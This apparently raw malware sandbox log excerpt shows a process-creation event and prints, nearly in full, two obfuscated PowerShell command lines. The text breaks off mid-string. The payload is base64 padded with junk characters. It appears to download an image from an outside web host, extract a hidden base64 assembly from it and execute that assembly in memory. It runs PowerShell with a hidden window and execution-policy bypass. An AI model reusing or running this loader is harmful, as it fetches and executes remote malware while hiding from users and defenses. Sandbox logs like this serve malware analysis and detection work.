teTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFMhvWQmTktteTÇCmdQBihvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmByhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGkhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmThvWQmTktteTÇCmBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZwB0hvWQmTktteTÇCmGghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmFshvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbgB2hvWQmTktteTÇCmGUhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmF0hvWQmTktteTÇCmOghvWQmTktteTÇCm6hvWQmTktteTÇCmEYhvWQmTktteTÇCmcgBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmQgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBihvWQmTktteTÇCmGEhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmDYhvWQmTktteTÇCmNhvWQmTktteTÇCmBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBshvWQmTktteTÇCmG8hvWQmTktteTÇCmYQBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmZhvWQmTktteTÇCmBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYgBshvWQmTktteTÇCmHkhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmWwBThvWQmTktteTÇCmHkhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmFIhvWQmTktteTÇCmZQBmhvWQmTktteTÇCmGwhvWQmTktteTÇCmZQBjhvWQmTktteTÇCmHQhvWQmTktteTÇCmaQBvhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmLgBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBshvWQmTktteTÇCmHkhvWQmTktteTÇCmXQhvWQmTktteTÇCm6hvWQmTktteTÇCmDohvWQmTktteTÇCmThvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBkhvWQmTktteTÇCmEEhvWQmTktteTÇCmcwBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmbQBihvWQmTktteTÇCmGwhvWQmTktteTÇCmeQhvWQmTktteTÇCmuhvWQmTktteTÇCmEchvWQmTktteTÇCmZQB0hvWQmTktteTÇCmFQhvWQmTktteTÇCmeQBwhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBGhvWQmTktteTÇCmGkhvWQmTktteTÇCmYgBlhvWQmTktteTÇCmHIhvWQmTktteTÇCmLgBIhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBlhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBthvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmC4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRwBlhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmTQBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmBvhvWQmTktteTÇCmGQhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBWhvWQmTktteTÇCmEEhvWQmTktteTÇCmSQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmphvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmHYhvWQmTktteTÇCmbwBrhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBuhvWQmTktteTÇCmHUhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmG8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmFshvWQmTktteTÇCmXQBdhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBNhvWQmTktteTÇCmEMhvWQmTktteTÇCmOQhvWQmTktteTÇCm2hvWQmTktteTÇCmFMhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmHchvWQmTktteTÇCmVhvWQmTktteTÇCmBphvWQmTktteTÇCmDkhvWQmTktteTÇCmawBMhvWQmTktteTÇCmDIhvWQmTktteTÇCmVgBshvWQmTktteTÇCmEwhvWQmTktteTÇCmbQBWhvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmYwhvWQmTktteTÇCmyhvWQmTktteTÇCmEYhvWQmTktteTÇCmdwBMhvWQmTktteTÇCmHkhvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmMwBChvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmZhvWQmTktteTÇCmBHhvWQmTktteTÇCmGchvWQmTktteTÇCmPQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmyhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmEkhvWQmTktteTÇCmZwBmhvWQmTktteTÇCmHghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmMwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBDhvWQmTktteTÇCmDohvWQmTktteTÇCmcQBrhvWQmTktteTÇCmFhvWQmTktteTÇCmhvWQmTktteTÇCmUhvWQmTktteTÇCmByhvWQmTktteTÇCmG8hvWQmTktteTÇCmZwByhvWQmTktteTÇCmGEhvWQmTktteTÇCmbQBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHEhvWQmTktteTÇCmawBQhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBJhvWQmTktteTÇCmGchvWQmTktteTÇCmZgB4hvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmKQhvWQmTktteTÇCmnhvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmJwBxhvWQmTktteTÇCmGshvWQmTktteTÇCmUhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmJwBchvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCmuhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmQQBjhvWQmTktteTÇCmEUhvWQmTktteTÇCmKhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMghvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmzhvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmBbhvWQmTktteTÇCmHMhvWQmTktteTÇCmVhvWQmTktteTÇCmByhvWQmTktteTÇCmEkhvWQmTktteTÇCmTgBnhvWQmTktteTÇCmF0hvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmMwhvWQmTktteTÇCm5hvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmKhvWQmTktteTÇCmBbhvWQmTktteTÇCmGMhvWQmTktteTÇCmShvWQmTktteTÇCmBhhvWQmTktteTÇCmFIhvWQmTktteTÇCmXQhvWQmTktteTÇCmxhvWQmTktteTÇCmDEhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmrhvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMQhvWQmTktteTÇCmwhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmNQhvWQmTktteTÇCm0hvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCQhvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmHwhvWQmTktteTÇCmIhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmVgBvhvWQmTktteTÇCmGshvWQmTktteTÇCmRQhvWQmTktteTÇCmthvWQmTktteTÇCmGUhvWQmTktteTÇCmWhvWQmTktteTÇCmBwhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmFMhvWQmTktteTÇCmaQBPhvWQmTktteTÇCmG4hvWQmTktteTÇCm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hvWQmTktteTÇCm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2708
thread_handle: 0x00000570
process_identifier: 2704
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBVhvWQmTktteTÇCmHIhvWQmTktteTÇCmbhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBohvWQmTktteTÇCmHQhvWQmTktteTÇCmdhvWQmTktteTÇCmBwhvWQmTktteTÇCmHMhvWQmTktteTÇCmOghvWQmTktteTÇCmvhvWQmTktteTÇCmC8hvWQmTktteTÇCmdQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZQBuhvWQmTktteTÇCmHMhvWQmTktteTÇCmLgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmGIhvWQmTktteTÇCmcghvWQmTktteTÇCmvhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBzhvWQmTktteTÇCmC8hvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmwhvWQmTktteTÇCmDQhvWQmTktteTÇCmLwhvWQmTktteTÇCm2hvWQmTktteTÇCmDUhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmvhvWQmTktteTÇCmDUhvWQmTktteTÇCmMwhvWQmTktteTÇCm2hvWQmTktteTÇCmC8hvWQmTktteTÇCmbwByhvWQmTktteTÇCmGkhvWQmTktteTÇCmZwBphvWQmTktteTÇCmG4hvWQmTktteTÇCmYQBshvWQmTktteTÇCmC8hvWQmTktteTÇCmbgBlhvWQmTktteTÇCmHchvWQmTktteTÇCmXwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmLgBqhvWQmTktteTÇCmHhvWQmTktteTÇCmhvWQmTktteTÇCmZwhvWQmTktteTÇCm/hvWQmTktteTÇCmDEhvWQmTktteTÇCmNghvWQmTktteTÇCm5hvWQmTktteTÇCmDghvWQmTktteTÇCmOQhvWQmTktteTÇCm1hvWQmTktteTÇCmDchvWQmTktteTÇCmNwhvWQmTktteTÇCm1hvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdwhvWQmTktteTÇCmthvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmE8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFchvWQmTktteTÇCmZQBihvWQmTktteTÇCmEMhvWQmTktteTÇCmbhvWQmTktteTÇCmBphvWQmTktteTÇCmGUhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbgB0hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmEIhvWQmTktteTÇCmeQB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmcwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEQhvWQmTktteTÇCmbwB3hvWQmTktteTÇCmG4hvWQmTktteTÇCmbhvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBlhvWQmTktteTÇCmFUhvWQmTktteTÇCmcgBshvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmFMhvWQmTktteTÇCmeQBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBthvWQmTktteTÇCmC4hvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEUhvWQmTktteTÇCmbgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmBphvWQmTktteTÇCmG4hvWQmTktteTÇCmZwBdhvWQmTktteTÇCmDohvWQmTktteTÇCmOgBVhvWQmTktteTÇCmFQhvWQmTktteTÇCmRghvWQmTktteTÇCm4hvWQmTktteTÇCmC4hvWQmTktteTÇCmRwBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBThvWQmTktteTÇCmFQhvWQmTktteTÇCmQQBShvWQmTktteTÇCmFQhvWQmTktteTÇCmPghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBFhvWQmTktteTÇCmE4hvWQmTktteTÇCmRhvWQmTktteTÇCmhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmD4hvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBUhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmB0hvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmE8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZghvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBGhvWQmTktteTÇCmGwhvWQmTktteTÇCmYQBnhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmFQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmHQhvWQmTktteTÇCmLgBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmTwBmhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmZwBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGQhvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvW